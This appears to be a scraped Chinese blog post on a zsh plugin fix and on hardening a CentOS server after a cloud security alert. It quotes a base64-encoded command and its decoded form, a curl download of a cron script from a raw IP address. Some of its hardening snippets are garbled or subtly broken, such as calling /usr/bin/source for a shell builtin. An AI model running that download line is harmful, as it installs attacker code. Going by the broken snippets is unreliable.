Mac zsh使用相关问题之一

ops/2025/2/22 23:02:58/

解决zsh 找不到zsh插件的问题

解决方法
修改vim ~/.zshrc

添加如下内容:

fpath=(/usr/share/zsh/5.0.2/functions $fpath)

在这里插入图片描述

可疑编码命令

~ echo Y3VybCAtZnNTTCBodHRwOi8vMTQwLjk5LjMyLjQ4L2IyZjYyOC9jcm9uYi5zaAo=|base64 -d

curl -fsSL http://140.99.32.48/b2f628/cronb.sh

vim /etc/crontab

【阿里云】尊敬的whuanghkl@163.com:云盾云安全中心检测到您的服务器:123.57.78.161(whuang78.161 )出现了可疑安全事件:可疑编码命令,建议您立即登录云安全中心控制台-安全告警处理https://t.aliyun.com/G7cSwaKO 进行处理。

在 CentOS 7 中,可以通过重定向或限制 source 命令的使用,减少被攻击的可能性。以下是一些常见的防护措施:


方法 1:为 source 创建安全别名

source 命令限制为只能加载可信目录中的文件。

  1. 编辑用户的 Shell 配置文件 对于 Zsh 用户,编辑 ~/.zshrc
bash">vim ~/.zshrc

对于 Bash 用户,编辑 ~/.bashrc

bash">vim ~/.bashrc
  1. 添加以下别名source 命令重定向到特定目录:
bash">alias source='restricted_source'restricted_source() {ALLOWED_DIR="/trusted/directory"if [[ $1 == $ALLOWED_DIR/* ]]; then/usr/bin/source "$@"elseecho "Error: Unauthorized source usage detected."fi
}
  1. 刷新配置文件 执行以下命令使其生效:
bash">source ~/.zshrc
或
source ~/.bashrc
  1. 验证 测试加载受限路径:
bash">source /trusted/directory/safe_script.sh  # 成功
source /tmp/malicious_script.sh          # 失败

方法 2:通过 Shell 限制 source

直接禁用 source 命令,强制使用其他安全方法(如 . 命令)。

  1. 编辑配置文件 编辑用户的 Shell 配置文件,例如 ~/.bashrc~/.zshrc
bash">vim ~/.zshrc
  1. 覆盖 **source** 命令 添加以下内容:
bash">unalias source 2>/dev/null
source() {echo "The 'source' command is disabled for security reasons."return 1
}

unalias base64 2>/dev/null

base64() {

echo "The 'base64' command is disabled for security reasons."return 1

}

  1. 刷新配置文件 执行以下命令使其生效:
bash">source ~/.zshrc
  1. 测试 尝试运行 source 命令:
bash">source /path/to/script.sh

输出应为:

The 'source' command is disabled for security reasons.

2. 加固系统,防止未来攻击

2.1 保护关键系统文件

/etc/crontab/etc/rc.d/rc.local 等关键文件设为 只读,防止未经授权的修改:

bash">chattr +i /etc/crontab
chattr +i /etc/rc.d/rc.local
chattr +i /etc/cron.d/*
chattr +i /etc/cron.daily/logrotate

如果需要修改文件,先移除保护:

bash">chattr -i /etc/crontab

**2.2 禁用 **wget** 和 ****curl**

如果服务器不需要使用 wgetcurl,可以禁用它们:

bash">chmod 000 /usr/bin/wget
chmod 000 /usr/bin/curl

防止用户误用:

bash">alias wget='echo "wget is disabled for security reasons"'
alias curl='echo "curl is disabled for security reasons"'

要恢复:

bash">chmod 755 /usr/bin/wget
chmod 755 /usr/bin/curl
unalias wget
unalias curl

2.3 限制 **crontab** 访问权限

禁用非 root 用户的 crontab

编辑 /etc/cron.allow,添加允许使用 crontab 的用户:

bash">echo "root" > /etc/cron.allow

确保 /etc/cron.deny 存在并清空:

bash">> /etc/cron.deny

限制 crontab 仅允许 root 访问:

bash">chmod 600 /etc/crontab
chown root:root /etc/crontab

http://www.ppmy.cn/ops/160320.html

相关文章

【深度学习】使用飞桨paddle实现波士顿房价预测任务

使用飞桨实现波士顿房价预测任务 由于开始学习深度学习,因此每次开始都熟悉一下深度学习模型的基本步骤: 在之前的学习中,我们学习了使用Python和NumPy实现波士顿房价预测任务的方法,本章我们将尝试使用飞桨paddle重写房价预测任…

【开源商城系统是否能直接拿去售卖】

开源商城系统是否能直接拿去售卖,需要根据具体的开源协议和相关法律法规来判断,以下是具体分析: 遵循开源协议的情况 GPL协议:如果开源商城系统遵循GNU通用公共许可证(GPL),这种协议属于强拷贝…

如何查看java的字节码文件?javap?能用IDEA吗?

编译指令: javac YourProject.java 查看字节码文件的指令: javap -c -l YourProject.class 不添加-c指令就不会显示字节码文件: 不添加 -l 就不会显示源代码和字节码文件的对应关系: 添加-l之后多出来这些: IDEA不太…

解决DeepSeek服务器繁忙的有效方法

全球42%的企业遭遇过AI工具服务器过载导致内容生产中断(数据来源:Gartner 2025)。当竞品在凌晨3点自动发布「智能家居安装指南」时,你的团队可能正因DeepSeek服务器繁忙错失「净水器保养教程」的流量黄金期⏳。147SEO智能调度系统…

亲测可用,IDEA中使用满血版DeepSeek R1!支持深度思考!免费!免配置!

作者:程序员 Hollis 之前介绍过在IDEA中使用DeepSeek的方案,但是很多人表示还是用的不够爽,比如用CodeChat的方案,只支持V3版本,不支持带推理的R1。想要配置R1的话有特别的麻烦。 那么,今天,给…

第3章 3.3日志 .NET Core日志 NLog使用教程

3.3.1 .NET Core日志基本使用 书中介绍了把日志输出到控制台的使用方式: 安装 Microsoft.Extensions.Logging 和 Microsoft.Extensions.Logging.Console 日志记录代码: using Microsoft.Extensions.DependencyInjection; using Microsoft.Extensions.…

解锁机器学习核心算法|神经网络:AI 领域的 “超级引擎”

一、神经网络:AI 领域的 “超级引擎” 在机器学习的庞大算法体系中,有十种算法被广泛认为是最具代表性和实用性的,它们犹如机器学习领域的 “十大神器”,各自发挥着独特的作用。这十大算法包括线性回归、逻辑回归、决策树、随机森…

青少年编程都有哪些比赛可以参加

Python小学生可参加的赛事: 电子学会青少年编程考级、中国计算机学会编程能力等级认证、蓝桥杯、 信奥赛CSP-J/S初赛/NOIP(推荐C)、编程设计、信息素养、科技创新赛; 升学助力(科技特长生、大学)、企业、出国留学; python比赛&am…